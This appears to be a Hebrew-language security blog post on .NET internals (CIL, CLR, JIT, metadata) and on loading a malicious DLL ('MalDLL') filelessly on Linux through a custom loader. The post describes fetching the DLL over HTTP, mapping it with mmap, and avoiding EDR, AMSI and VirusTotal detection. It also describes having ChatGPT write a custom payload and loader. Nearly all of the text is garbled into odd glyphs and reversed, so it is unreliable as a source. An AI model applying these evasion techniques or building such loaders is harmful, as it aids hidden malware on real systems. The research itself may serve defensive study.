˫˧˧ˮ˧˟ˢ ˸˲˷˪ ˢˮˣ˩ˬ ˸˰˟ ˢ˴˧˶ Φ˧ˬ ˫˩ˬ ˡ˟˰˷ ˫˰ Dnspy ˶˧˩ˬ ˸˞ ˵ˣ˧ˡˢˣ ˸ˣ˪˵ˢ ˢ˟˷ ˭˸˧ˮ ˰˴˟˪ 

decompile ˡˣ˵˪ C# Σˢˤˣ ˶˟˯ˢˢ ˨˩˪ Φ 

 
ϐs-CIL   helloWorld.dll ˫˰ ˠ˴ˣˬ ildasmώ 
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оΦ Assembly Metadata - ˫˞ ˞˴˧ ˫˩˪ ˥ˣ˸˲˪ ˧˶˞ˮ˧˟ .NETπ˧ ˟-CFF Explorer ˫˸˧˞˶ˣ ˞ˣˢ˷ ˪˧˩ˬ 

Section ˱˯ˣˮ ˶˷˞ˬ PE ˪˧ˠ˶ Φ˧ˮ˞ ˢ˥ˣ˦˟ ˧ˮˣˬ˩˷ ˥˦˟ ˫˸˧ˢ˸ ˢˬ ˨˪ˣˢ ˫˷ ˪˩˟ ˭ˠ˪˟ˢ ˢˤˢ Φ 

 
 ϐCFF Explorerώ 

˵˪˥ˢ ˢˤˢ ˪˧˩ˬ ˰ˡ˧ˬ ˟ˣ˷˥ ˪˰ s-Assembly ˣ˟˷ ˷ˬ˸˷ˬ s-runtime ˸˰˟ ˢ˴˶ˢ Σ˭ˣˠ˩ Υclasses Σ

inheritance Σstrings ˡˣ˰ˣ Φ˱˧˶˟ ˶˴˵ ˪˰ ˸˷ˬ˥ s-metadata streamsΥ 

мΦ #~ π ˪˧˩ˬ ˰ˡ˧ˬ ˪˰ ˸ˣˡˣ˸ˬ Σ˸ˣˡ˷ ΣπxpropertiesΦ 

нΦ #Strings π ˪˧˩ˬ ˸ˣˬ˷ ˪˷ namespaces, types xπmembersΦ 

оΦ #US π ˭˯˥˞ˬ ˸˞ ˪˩ ˸ˣˤˣ˶˥ˬˢ ˸ˣ˷ˬˣ˷ˬ˷ ˡˣ˵˟ ˸ˣ˶˧˷˧ Φˢˬˠˣˡ˪ ˡˣ˵˟ sπhelloWorld ˣˮ˪˷ ˢ˞˶ˮ 

˵˪˥˟ ˢˤˢ ˸˞ ˶˟ˡˢ ˞˟ˢΥ 

 

пΦ #GUID π ˪˧˩ˬ GUIDs ˫˧˷ˬˣ˷ˬ˷ ˟-Assembly 

рΦ #Blob π ˭˯˥˞ˬ ˰ˡ˧ˬ ˪˰ ˸ˣˬ˧˸˥ ˪˷ ˸ˣˡˣ˸ˬ ˡˣ˰ˣΦ 

 

CLR -.NET Runtime  

˧˶˥˞ ˣˮ˟ˢ˷ ˨˧˞ binary ˪˷ .NET ˧ˣˮ˟ Σˣ˧˷˩˰ ˰˧ˠˢ ˭ˬˤˢ ˶˟ˡ˪ ˪˰ ˫ˣ˵˧ˬˢ ˣ˟˷ ˫˯˵ˢ ˪˷ .NET ˢ˶ˣ˵ Φ˧˲˩ 

ˣˮ˧˧˴˷ ˫ˡˣ˵ Σ˧˶˞ˮ˧˟ .NETπ˧ ˪˲ˬ˵˸ˬ ˸˲˷˪ ˫˧˧ˮ˧˟ ύCIL ό˶˥˞˷ ˨˩ ˳˶ˣˬ ˪˰ ˧ˡ˧ s-CLR -Common 

Language Runtime Σ˞ˣˢˣ ˟˧˩˶ˢ ˧˞˶˥˞˷ 

˶˧ˬˢ˪ ˸˞ ˡˣ˵ sπCIL ˡˣ˵˪ ˢˮˣ˩ˬ ˤ˞ˣ ˳˧˶ˬ 

ˣ˸ˣ˞ Φ˪˩˟ ˫˰˲ ˷-Assembly ˳˶ˣˬ Σ-sentry 

point ˣ˪˷ ˢˮ˲ˬ ˸˞˶ˣˢ˪ JMP ˢ˧˴˵ˮˣ˲˪ Υ

_CorExeMain_CorDllMain ˨ˣ˸ˬ mscoree.dll 

ύ˟-Windows Φόˢ˧˴˵ˮˣ˲ˢ ˸˧˞˶˥˞ ˪˥˸˞˪ ˸˞ 

-sCLR Σ˞ˣˢˣ ˳˧˶ˬ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷ ˸˧˧˴˵ˮˣ˲˟ 

main() ˢ˪˷Φ 

 

 

 -CLR -helloWorld.dll  ΣIda Pro 
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-sCLR ˡ˵˲˸ˬ ˸˟˩˷˩ ˢ˧˴˵˶˦˯˟˞ ˭˧˟ ˸˧ˮ˩ˣ˸ˢ ˢ˴˶˷ ˭˧˟˪ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Σ˞ˣˢˣ ˭ˣˤ˧ˮ ˢˬ-metadata 

ˣˮ˶˟˧ˡ˷ ˣ˧˪˰ ˵˪˥˟ ˫ˡˣ˵ˢ Σ˪˰ ˸ˮˬ ˭˧˩ˢ˪ ˸˞ ˰˵˶˵ˢ ˸˴˧˶˪ s-Assembly Φ 

Just In Time Compiler -JIT  

ˣˢˤ ˟˧˩˶ˢ ˟-CLR ˧˞˶˥˞˷ ˪˰ ˢ˧˴˪˧˲ˬˣ˵ˢ ˸˧ˬ˞ˮ˧ˡˢ Σ˶˧ˬˬˣ ˸˞ ˡˣ˵ s-CIL ˡˣ˵˪ ˢˮˣ˩ˬ ˸˰˟ ˢ˴˶ˢΦ 

ˢ˞ˣˣ˷ˢ˟ ˶˪˧˧˲ˬˣ˵˪ Ϧ˪˧ˠ˶ Ϧ˶˧ˬˬ˷ ˡˣ˵ ˡˣ˵˪ ˢˮˣ˩ˬ ˸˰˟ ˪ˣ˲ˬ˵ Σ-sJIT ˢ˷ˣ˰ ˸˞ˤ ˵˶ ˶˷˞˩ ˢ˧˴˵ˮˣ˲ 

˸˞˶˵ˮ ˢˮˣ˷˞˶˪ Φ˶ˬˣ˪˩ ˫˞ ˢ˧˴˵ˮˣ˲ ˞˪ ˞˶˵˧˸ - ˞˧ˢ ˞˪ ˪˲ˬ˵˸˸ Σˢ˷˰ˬ˪ˣ ˞˪ ˪˩ ˡˣ˵ˢ ˪˲ˬ˵˸˧ - ˢˤˣ ˢˬ 

˭˸ˣˮ˷ ˪-JIT ˸˞ ˫˷ˢ ˶ˣ˶˟ˢ ˣ˧˪˞ˬ ˣ˪˷Φ 

˶˷˞˩ ˸˧ˮ˩ˣ˸ ˢ˴˶ Σ-sCLR loader ˢ˴˵ˬ ˪˩˪ ˢˡˣ˸ˬ ˸˧ˮ˩ˣ˸˟ ˸˧˧˴˵ˮˣ˲ stub Σ˞˧ˢ˷ ˸˧˞˶˥˞ ˪˥˸˞˪ ˸˞ s-

JIT Φ˨˷ˬˢ˟ Σˢˡˣ˸ˬ˷˩ ˸˞˶˵ˮ ˢˮˣ˷˞˶˪ Σ-sJIT ˯ˮ˩ˮ ˢ˪ˣ˰˲˪ Σ˪˲ˬ˵ˬ ˸˞ ˢˡˣ˸ˬˢ Σ˯˶ˣˡˣ ˸˞ s-stub 

˭˲ˣ˞˟ ˢˤ˩ ˸˰˩˷ ˞ˣˢ ˢˮ˲ˣ˧ ˢˡˣ˸ˬ˪ ˸˪˲ˬˣ˵ˬˢ Φ˶˥˞˪ ˭˩ˬ ˞ˣˢ ˳˧˶ˬ ˢ˸ˣ˞ Σ˞˧ˢˣ ˶ˬ˷˧˸ ˭ˣ˶˩˧ˤ˟ ˪˷ 

˸˧ˮ˩ˣ˸ˢ ύ˫˧˷˶˸ ˢ˦ˬ˪ό 

˭˲ˣ˞˟ ˢˤˢ Σ˶˷˞˩ ˢ˸ˣ˞ ˢˡˣ˸ˬ ˞˶˵˧˸ ˫˰˲ ˸˲˯ˣˮ Σ-sJIT ˞˪ ˨˶˦˴˧ ˪ˣ˰˲˪ ˟ˣ˷ Σ˞˪˞ ˢˡˣ˸ˬˢ ˸˧˶ˣ˵ˬˢ 

˦ˣ˷˲ ˢˮ˲˸ ˪-stub ˢˮ˲˧˷ ˢˡˣ˸ˬ˪ ˸˪˲ˬˣ˵ˬˢΦ 

˭ˣ˶˸˧ˢ ˧ˤ˩˶ˬˢ ˪˷ ˢˮ˟ˬˢ ˢˤˢ ˞ˣˢ ˨˯˥ˮ˷ ˭ˬˤ ˢ˴˧˶ ˪ˣ˲ˬ˵ˣ ˶˵˧ Σ˨˩ ˵˶˷ ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˴˶ˣˬ˷ ˸ˣ˪˲ˬˣ˵ˬ 

˫˰˲ ˸˥˞ - ˸˞ˤˣ ˪˰ ˧˲ ˢ˷˧˶ˡ ˡ˟˪˟ Φ 
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ˢˬ ˤ˞ ˣˮ˟ˢ ˡ˰ ˢ˩Κ 

ˢˤ ˢ˧ˢ ˢ˟˶ˢ ˰ˡ˧ˬ Σ˪˟˞ ˫ˣ˩˧˯˪ Υ˸˰˟ ,ˢ˴˶ˢ s-Assembly ˪˥˸˞ˬ ˸˞ s-runtime ˫˧˞˸ˬˢ x˪ Σ˭ˣˤ˧ˮ˷ ˢˬ-

metadata Σ˸˰˟ˣ ˞ˣˢ˷ ˠ˞ˣˡ ˪ˣ˲ˬ˵˪ ˧ˬ˞ˮ˧ˡ ˪˷ s-CIL ˪˰ ˧ˡ˧ s-JIT - ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷ ˢ˴˶ Φˢ˷˰ˬ˪ ˶˷˲˞ 

˶ˬˣ˪ ˢ˷-Assembly ˰ˡˣ˧ ˭˧˩ˢ˪ ˸˞ ˰˵˶˵ˢ ˸˞˶˵˪ ˢ˴˶ˢˢ ˣ˪˷Φ 

ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˸˞ˤˢ ˸˶˷˲˞ˬ ˪-.NET ˸ˣ˧ˢ˪ ˸˴ˣ˥ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ Φ-sCLR ˢˣˣˢˬ ˢ˟˩˷ ˸˲˯ˣˮ ˭˧˟ 

˸˧ˮ˩˸ˢ ˢ˴˶˷ ˭˧˟˪ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ - ˨˩ ˫˞˷ ˶˴˧˧ˮ CLR ˧˲˧˴˲˯ ˪˩˪ ˸˩˶˰ˬ ˢ˪˰˲ˢ ˪˩ˣˮ ˳˧˶ˢ˪ ˸˞ 

˸˧ˮ˩˸ˢ ˣˮ˪˷ ˪˩˟ ˢˬ˶ˣ˲˦˪˲ Φ˞˪ ˢˮ˷ˬ ˢˤ˧˞˟ ˢ˲˷ ˸˩ˬˣ˸ .NET ˷ˬ˸˷ˮ ΥC# ΣVBA ˡˣ˰ˣ - ˭˪ˣ˩ ˣ˪˲ˬˣ˵˧ ˪-

CIL ˡˣ˵ sx-CLR ˪˲˦˧ ˸˴˶ˢ˟ ˸˧ˮ˩˸ˢΦ 

˸ˣ˦˧˷ ˢ˴˶ˢ 

˷˧ ˧˸˷ ˫˧˩˶ˡ ˪˲ˬ˵˪ ύ˫˰˲˟ ˢˮˣ˷˞˶ˢ ό˸˞ ˸˧ˮ˩˸ s-helloWorld ˣˮ˪˷ ˪˰ ˸ˮˣ˩ˬ ˯˵ˣˮ˧˪Υ 

мΦ ˭˸˧ˮ ˞˴˧˧˪ ˸˞ ˸˧ˮ˩˸ˢ ˦ˬ˶ˣ˲˟ DLL ˰ˣˡ˧ˢ ˶˩ˣˬˢˣ ˣˮ˪ ˬ-Windows Σˤ˞ˣ ˳˧˶ˢ˪ ˣ˸ˣ˞ ˫˰ ˧˶˞ˮ˧˟ˢ ˪˷ 

dotnet Φ˭˟ˣˬ˩ ˞˪˷ ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˟-WinapiΥ 

 

нΦ ˞ˣ˴˧˧ ˳˟ˣ˵˩ ˢ˴˶ˢ ˧˲˧˴˲˯ ˪˩˪ ˸˩˶˰ˬ ˢ˪˰˲ˢ Φ˭˸˧ˮ ˪˲ˬ˵˪ ˫˰ s-Runtime x˞ ˣ˧ˡ˰˪˟ Σ˭ˣ˶˸˧ˢ ˪˷ 

ˢ˶˵ˬˢ ˭ˣ˷˞˶ˢ ˞ˣˢ ˧˶˞ˮ˧˟ˢ˷ ˪˩ˣ˧ ˳ˣ˶˪ box-the-of-out ˪˰ ˪˩ ˢˡˬ˰ ˞ˣˢ˷ ˰˧ˠ˧ ˢ˧˪˞ Σ˫ˠ ˫˞ .NET 

˞˪ ˭˵˸ˣˬ ˢ˧˪˰ Φ˭ˣ˶˯˧˥ˢ ˞ˣˢ ˭˟ˣˬ˩ ˳˟ˣ˵ˢ˷ ˢ˴˶ˢ ˞˴ˣ˧˷ ˞ˣˢ ˡˣ˞ˬ ˪ˣˡˠ ύ˶˧˩ˤˬ static linkingΥό 

 

 

 

˪ˡ˟ˢˢ] ˧˪ˡˠ˟ ˫˧˴˟˵ˢ ˭˧˟ ˸ˣ˦˧˷ ˪ˣ˲ˬ˵ˢ - ˧ˮˬ˧ˢ ˪˧˩ˬ ˸˞ s-Runtime ˸ˬˣ˰˪ [˧˪˞ˬ˷ˢ 
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˭˧˧ˮ˰ˬˢ ˵˪˥ˢ 

ˣ˧˷˩˰ ˣˮ˧˯˧˩˷ ˸˞ ˯˧˯˟ˢ ˪˷ .NET ˰˧ˠˢ ˭ˬˤˢ ˶ˣˤ˥˪ ˸˪˞˷˪ ˶˵˥ˬˢ ˣˮ˪˷ - ˫˞ˢ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ˸ˣ˶˥˞ 

˸ˣ˰˧ˠ˲ ˸ˣ˲˵˸ˬ˪ ˸ˣ˯˯ˣ˟ˬ .NET Κ˭˞˩ ˡ˵ˬ˸ˮ ˸ˣ˩˶˰ˬ˟ ˢ˪˰˲ˢ ˸ˣ˯˯ˣ˟ˬ Linux - ˧ˮ˞ ˧˸ˡ˟˰ ˫˰ CentOS 

πxUbuntuΦ 

˸˥˞ ˸ˣ˦˧˷ˢ ˫˧˲˵ˣ˸˷ ˫˧˟ˢˣ˞ ˪˴ˮ˪ ˫˸˟ˣ˦˪ ˞˧ˢ ˸˪ˣ˩˧ˢ ˳˧˶ˢ˪ ˡˣ˵ ˭˲ˣ˞˟ ˧ˬ˞ˮ˧ˡ ˪˰ ˢˡˬ˰ Σ˨˶ˡ˟ ˪˪˩ 

ˡ˰˧ˬ ˵˥ˣ˶ˬ ˧˪˟ˬ ˸˰ˠ˪ ˵˯˧ˡ˟ ύFileless malware Φό˫˧˸˧˰˪ ˪˰ ˧ˡ˧ costume made dynamic loader Σ

˫˧˸˧˰˪ˣ ˪˰ ˧ˡ˧ ˫˧˧˶˞ˮ˧˟ ˫˧˧ˬ˧˦˧ˠ˪ ˫˧˧ˣ˴ˬ˷ ˶˟˩ ˪˰ ˢˡˬ˰ˢ - LOLBINS Φ 

˸ˣˮˣ˶˸˧ˢ ˪˷ ˢ˦˧˷ˢ ˸˞ˤˢ ˫˧˶ˣ˶˟ ˫˧˟ˣ˶ˬˣ - ˞˧ˢ ˸˶˷˲˞ˬ ˱˵ˣ˸˪ ˳˧˶ˢ˪ payload ˨˧˪ˢ˸ˬ ˶ˣ˵ˬ 

Ϧ˫˧ˬ˸ ΣϦ˞˪˷ ˪˧˩ˬ ˢˤ˧˞ ˫ˢ˷ ˸ˣ˧˴˵˧ˡˮ˧˞ ˸ˣˡ˥ˣ˧ˬ x˞ IOCs Σˢ˩˩ˣ ˶˷˲˞ˬ ˫ˢ˪ ˵ˣˬ˥˪ ˧˶˴ˣˬˬ ˢ˥˦˟˞ 

˫˧˰˴˟ˬ˷ ˸ˣ˵˧˶˯ ˪˰ ˵˯˧ˡˢ Σ˫ˠˣ ˰ˮˬ˧ ˶˷˵˪ˬ ˫˸ˣ˞ ˢ˲˵˸ˬ˪ Φ 

˪˧˥˸ˮ ˭ˣ˧˯˧ˮˬ ˦ˣ˷˲ - ˢˮ˧˰˦ ˸˧ˬ˞ˮ˧ˡ ˪˷ DLL ˧ˣ˴ˬˢ ˪˰ ˵˯˧ˡˢ ˣˮ˪˷ Σ˯˧˲ˡˬ˷ ϦHello World Ϧ˨˯ˬ˪Υ 

 

˪˲ˬ˵ˮ ˳˧˶ˮˣ - ˢ˞˶ˮ ˢ˪ˣ˰˲ˢ˷ ˢˡ˟˰Υ 
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ˢ˯ˮˮ ˭˧˟ˢ˪ ˢ˶ˣ˴˟ ˸˧ˮ˦˷˲ ˨˧˞ ˸˧˞˶ˮ ˢˮ˧˰˦ˢ ˸˧ˬ˞ˮ˧ˡˢ Σ˧ˡ˩ ˪˩ˣˮ˷ ˷˲˥˪ ˢ˸ˣ˞ ˫ˠ ˭˰˦ˮ˷˩ DLL ˵˥ˣ˶ˬ Φ

˧˸˟˵˰ ˧˶˥˞ s-syscall trace ˫˰ straceΥ 

 

˫˧˵˪˥ˢ ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧ˮˬˣ˯ˬ ˫ˣˡ˞˟ - ˢ˞˶ˮ ˢˮ˧˰˦ˢ˷ ˸˧ˬ˞ˮ˧ˡˢ ˸˰˴ˣ˟ˬ ˪˰ ˧ˡ˧ mmap ˪˷ s-DLL ˣˮ˪˷Φ 

˟˧ˮˠˬ Σˣ˧˷˩˰ ˢ˯ˮˮ ˭ˣ˰˦˪ DLL ˸˶˷ˬ ˵˥ˣ˶ˬ π ˫˧˶ˮ HTTP listener ˪˰ ˸˶˷ ˡ˰˧ˢ Φ˵˪˥ˢ ˟ˣ˷˥ˢ ˞ˣˢ ˞ˡˣˣ˪ 

˨˧˞ ˸˧˞˶ˮ ˢˮ˧˰˦ˢ ˸˧ˬ˞ˮ˧ˡˢ ˯˵ˣˮ˧˪˟ Σ˫˞ˢˣ ˸ˬ˞˟ ˭˧˞ ˢ˰˧ˠˮ ˵˯˧ˡ˟: 

 

˧˸˪˲ˬ˵ ˧˸˴˶ˢˣ - ˢˮ˧˰˦ˢ ˵ˣ˥˶ˬ ˢ˰˴ˣ˟ ˢ˥˪˴ˢ˟Υ 

 

˫˞ˣ ˪˩˸˯ˮ ˪˰ s-syscalls Σ˪˩ˣˮ ˸ˣ˞˶˪ ˸˧ˮ˷˟˷ ˞˪ ˢ˸˧˧ˢ ˢ˟˧˸˩ ˪˷ ˳˟ˣ˵ˢ ˵˯˧ˡ˪ ˧˲˩ ˣˮ˧˴˶˷Υ 

мΦ ˸˷˵˟ HTTP GET ˪˷ s-DLL :ˣˮ˪˷ 

 

нΦ ˸˶˷ˢ :˶˷˞ˬ 

 

оΦ s-byte stream ˪˧˩ˬ˷ ˸˞ MalDLL ˪˟˵˸ˬ Σ˪ˡˣˠ˟ ссрс :˫˧˸˟ 
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пΦ ссрс ˫˧˸˟ ˫˧˲ˣˬˬ ˭ˣ˶˩˧ˤ˪ ˫˰ mmapΥ 

 

рΦ System.Console.dll ˢ˲ˣˬˬ ˭ˣ˶˩˧ˤ˪ ˫˰ fd 48-49Υ 

 

сΦ ϦHello World Ϧ˟˸˩ˮ ˣ˧˪˞: 

 

˟˧ˮˠˬ Σˤ˞ ˣˮ˟ˢ ˸˞ s-flow ˢ˶ˣ˵˷ ˨˧˪ˢ˸˟ ˢˤˢ Φˡˣ˰ ˢˡˣ˵ˮ ˸ˮ˧˧ˮ˰ˬ ˧˸˧˴˶˷ ˵ˣˡ˟˪ ˞˧ˢ ˨˧˞ ˢ˞˶ˮ ˟˥˶ˬ 

˭ˣ˶˩˧ˤˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷ Σ˭˞˪ˣ MalDLL ˟˸˩ˮ Φˣˬ˧˷ ˟˪ ˟˪˷˟ п ˪˧˰˪ Σmmap ˢ˶˧ˤ˥ˬ ˸˟ˣ˸˩ ˢ˧˪˞˷ 

ˢ˲ˣˬ ˳˟ˣ˵ˢ Σˤ˞ ˪˰ ˧ˡ˧ ˸ˣˮˮˣ˟˸ˢ ˢ˶˴˵ ˟-/proc/PID/maps ˸˟ˣ˸˩˟ 0x7fec5d218000Υ 

 

˭˧˧ˮ˰ˬ ΦMalDLL ˢ˲ˣˬ ˟˥˶ˬ˪ ˭ˣ˶˩˧ˤ ˣ˟˷ ˧ˣ˴ˬ ˳˟ˣ˵ˢ /dev/zero Φ˧˶˥˞ ˢ˞˧˶˵ ˢ˶˴˵ ˦ˮ˶˦ˮ˧˞˟ ˢ˞˶ˮ 

˳˟ˣ˵ˢ˷ ˢˤˢ ˞ˣˢ ˞˪ ˳˟ˣ˵ ˣ˦ˣ˷˲ ˣ˰ˬ˷ˬ˩ Σ˞˪˞ ˳˟ˣ˵ in-memory ˪ˮ˶˵ˢ˷ ˶˴˧˧ˬ Σ˞˪ˬˢ ˣ˪ˣ˩ ˟-null 

characters Φˢ˞˶ˮ ˳˟ˣ˵ˢ˷ ˢˤˢ ˷ˬˣ˷ˬ ˶˷˞˩ ˰˴ˣ˟ˬ ˧ˣ˲˧ˬ Ϧ˧ˬ˧ˮˣˮ˞ Ϧ˭ˣ˶˩˧ˤ˪ - ˢˤ˷ ˧ˣˮ˧˩ ˧ˣ˲˧ˬ˪ ˪˷ ˳˟ˣ˵ 

˞˪˷ ˢ˟ˣˠˬ ˳˟ˣ˵˟ ˪˰ ˵˯˧ˡˢ Φ˰ˬ˷ˮ ˫˧˞˸ˬ ˷˧˥˶˸˪ ˣˮ˪˷Φ 

ˡˣ˰ ˶˟ˡ ˡˣ˞ˬ ˭˧˧ˮ˰ˬ ˢˣˣ˷˷ ˫˧˷˪ ˟˪ ˣ˧˪˞ - s-DLL ˣˮ˪˷ ˢ˲ˣˬ ˳˶ˣ Σ˪˟˞ ˞˪ ˢ˞˶ˮ ˧˲ˡˢ˷ ˭ˣ˶˩˧ˤ ˞ˣˢ˷ 

ˢ˲ˣˬ ˣ˧˪˞ ˣ˥˸˲ˮ ˸ˣ˞˷˶ˢ˟ ˢ˴˧˶ Σ˞˪˞ ˵˶ READ|WRITE ύˣˬ˧˷ ˟˪ ˢ˶ˣ˷˪ п ˪˧˰˪ Φό 

˶˟ˡˣ ˭ˣ˶˥˞ ˭˧˧ˮ˰ˬˣ ˞˪ ˸ˣ˥˲ ˶˞˷ˬ ˫˧˶˟ˡˢ ˫˧ˮ˧˧ˮ˰ˬˢ ˣˮ˧˧˴˷ - ˭˧˞ ˪˩˟ ˟˥˶ˬˢ ˭ˣ˶˩˧ˤ ˪˷ ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷ 

˸ˣˡ˰ ˨˩˪ ˷-MalDLL ˭˰˦ˮ ˩-module Φˢˤ ˞˪ ˶˟ˡ ˭˟ˣˬ ˣ˧˪˞ˬ Σ˭˩˷ ˢ˵˧ˮ˩˦˟ ˢ˪˧˟˵ˬˢ ˟-Windows ˭˸˧ˮ 

˦˪˥ˢ˟ ˸ˣ˞˶˪ ˸˞ s-DLL ˭˰˦ˮ˷ ˸˧ˬ˞ˮ˧ˡ ˟-PE ˫˰ ˫˧˪˩ ˣˬ˩ ProcessHacker ύˢˮˢ ˢˬˠˣˡ ˶˵˥ˬ˪ ˠ˧˴ˬ˷ 

˭˧˟ ˶˸˧ˢ Assembly ˭˰˦ˮ˷ ˫˰ ProcessHackerΥό 

 
˦˪˲] ˪˷ /proc/$PID/maps ˢ˞˶ˬˢ ˭˧˞˷ ˸ˣˡ˰ ˢˮ˧˰˦˪ ˪˷ MalDLLώ 

https://processhacker.sourceforge.io/
https://blog.xpnsec.com/hiding-your-dotnet-etw/
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˶˟˯ˢˢ ˵˪˥˪ ˸ˣ˰˲ˣ˸ˢˬ ˢ˪˞ˢ ˞ˣˢ ˢˮˣ˷˟˷ ˬ-Windows ˫˷˷ ˢˮ˧˰˦ ˪˷ DLL ˵˥ˣ˶ˬ ˸˰˴˟˸ˬ ˨ˣ˸ˬ 

Executable Σ˭˞˩ ˢˮ˧˰˦ˢ ˸˰˴˟˸ˬ ˨ˣ˸˪ ELF Φ-sruntime ˞ˣˢ ˢˤ ˧˞˶˥˞˷ ˪˲˦˪ ˢˮ˧˰˦˟ ˢ˴˶ˢˣ ˪˷ 

˦ˬ˶ˣ˲ˢ ˢˤˢ Σ˯˵ˣˮ˧˪˷ ˥˦˟ ˞˪˷ ˢˢˤˬ ˩-module Σˣ˞ ˦ˬ˶ˣ˲˩ ˶˩ˣˬ ˪˪˩˟ Φ 

 

ˢ˰˲˷ˢ 

ˣˮ˞˴ˬ ˢ˦˧˷ ˢˮ˧˰˦˪ ˢ˴˶ˢˣ ˪˷ DLL Σ˞˪˷ ˸˰ˠˣˮ ˵˯˧ˡ˟ Σ˫˧˲ˡˢ ˭ˣ˶˩˧ˤ˟ ˫ˢ˧˪˞˷ s-DLL ˢ˲ˣˬˬ ˣ˪˧˲˞ ˞˪ 

˫˧ˮˬˣ˯ˬ ˫˧˲ˡ˩ ˫˧˶˷˲˞ˬ˷ ˢ˴˶ˢ Σ˫ˠˣ ˭˧˞ ˫ˣ˷ ˸ˣˡ˰ ˫˧˪ˣˡˣˬ˟ ˪˷ s-ELF ˢˮ˧˰˦˪ ˢ˸˶˵˷ Φ 

˫˞ ˢ˯ˮˮ ˟ˣ˷˥˪ ˪˰ ˫˧˪ˣˡˣˬ ˪˷ EDRπ˫˧ ˧˶˴ˣˬˣ ˸˥˦˟˞ endpoints Σˢ˶˵ˬ˟ ˪˷ ˸ˣ˵˧˶˯ ˸ˣ˯˯ˣ˟ˬ ˸ˣˬ˧˸˥ 

˪˰ ˵˯˧ˡˢ Σˣ˞ ˭˸ˮ˧ˢ˟˷ ˫˧˲ˡ ˫˧ˡˣ˷˥ ˭ˣ˶˩˧ˤ˟ ˫˸ˣ˞˷ ˶˴ˣˬˢ ˵˶ˣ˯ ύ˶ˡ˟Ϧ˩ ˢ˪˞˩ ˫˧ˮˬˣ˯ˬ˷ ˩-

READ|WRITE|EXECUTE ό- ˢ˞˶ˮ ˢ˵˧ˮ˩˦ˢ˷ ˸˞ˤˢ ˢ˧ˣ˷˰ ˵ˣˬ˥˪ ˫ˢˬΦ 

˞˪ ˵˶ ˢˤ˷ ˞˪ ˶˟ˡ ˧˪˞˧ˣˣ˧˶˦ ˸ˣ˷˰˪ ˪˰ Linux Σ˫ˠˣ ˢ˵˧ˮ˩˦ˢ ˸˞ˤˢ ˢ˦ˣ˷˲ ˷ˣˬ˧ˬ˪ Σˢˮˣ˷˟ ˬ-Windows 

˫˷˷ ˷˧ ˸ˣˡ˰ ˢˮ˧˰˦˪ ˪˷ s-DLL Σ˫ˠˣ AMSI ˡ˰ˣˮ ˵˲˯˪ ˭ˣ˶˸˲ ˵ˣ˧ˡ˟ ˫˧˶˵ˬ˪ ˢ˪˞ˢ - ˟-Linux ˭˧˞ ˸˞ 

˫˧ˮˣˮˠˮˬ ˢ˪˞ˢ Φ 

˱˯ˣˮ˟ ˨˩˪ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˣˬ˩ ˫˧˶˞ˮ˧˟˟ dotnet x˞ pwsh ˧ˡ˩ ˰˴˟˪ ˸˞ ˢˮ˧˰˦ˢ ˣ˪˧˲˞ˣ ˞˪ ˟˧˧˥ ˞˧˟ˢ˪ 

ˢˡˬ˰˪ ˸˲˵˸ˮˢ costume loader Φ˪˟˞ ˭˩ ˟ˣ˷˥ ˭˧˧˴˪ ˭ˣ˶˸˧ˢ˷ ˪˷ s-LOLBINS ˞ˣˢ ˧˶ˣˮ˧ˬ ˭˞˩ Σ˭˩˷ ˢ˞˶ˮ 

˱˞˷ security vendor ˟πVirusTotal ˢˢˤˬ ˸˞ s-loader ˣˮ˪˷ ˧ˮˣˡˤ˩Υ 

 

ˣ˪˧˲˞ˣ ˫˞ ˳˪˥ˮ ˸˞ s-DLL ˨ˣ˸ˬ s-ELF ˣˮ˪˷ ύ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˸ˣ˪˵˟ ˫˰ ˪˩ hex editor Σό˭˸˧ˮ ˸ˣ˞˶˪ 

˞ˣˢ˷ ˞˪ ˢˢˣˤˬ ˧ˮˣˡˤ˩ ˪˰ ˧˲ ˟ˣ˶Υ 

 

˭˟ˣˬ˩ ˭˸˧ˮ˷ ˸ˣ˷˰˪ ˢ˟˶ˢ ˫˧˶˟ˡ ˫˰ ˢ˵˧ˮ˩˦ˢ ˸˞ˤˢ ˶˷˞ˬ ˯˧˲ˡˢ˪ Hello World ˨˯ˬ˪ Φˢ˵˧ˮ˩˦ˢ ˸˞ˤˢ 

ˢ˪ˣ˩˧ ˷ˬ˷˪ ˢˮ˧˰˦˪ ˢ˴˶ˢˣ ˪˷ ˪˩ DLL ˪˧˩ˬ˷ APIs ˫˧ˬ˧˞˸ˬ ύ˞˪˷ ˫˧˪˧˩ˬ Winapi ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ Φό˶ˬˣ˪˩ 

˸ˣ˧ˣˮˬˡˤˢˢ ˢ˲ ˭s ˸ˣ˟˶ ˸ˣˮˣˣˠˬˣ ˫˧˲˵ˣ˸˪ Φ 
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˥˵˪ ˧˪ ˢˬ˩ ˸ˣˮˣ˧˯˧ˮ ˰ˮ˩˷˪ ˣ˸ˣ˞ ˸ˣ˷˰˪ ˸˞ ˢˤ Σ˪˟˞ ˣ˪˧˲˞ ˪˩ˣˮ ˷˵˟˪ ˬ-ChatGPT ˶˴˧˧˷ ˣˮ˪ costume 

payload ˭˰˦ˮˣ ˣ˸ˣ˞ ˡ˥˧˟ ˫˰ s-dynamic loader ˣˮ˪˷ JΥ 

  

ˢˤ ˵˶ ˢ˞˶ˬ ˢˬ˩ ˸ˣ˧ˣ˶˷˲˞ˢ ˫˧˲˵ˣ˸˪ ˭s ˸ˣˮˣˣˠˬ ˸ˣ˪˵ˣ ˢˠ˷ˢ˪Ϧ   Σmalicious dll loading as a 

serviceΚϦ 

 

  

https://chat.openai.com/chat
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˟ ˡ˧˧˴-VirusTotal 

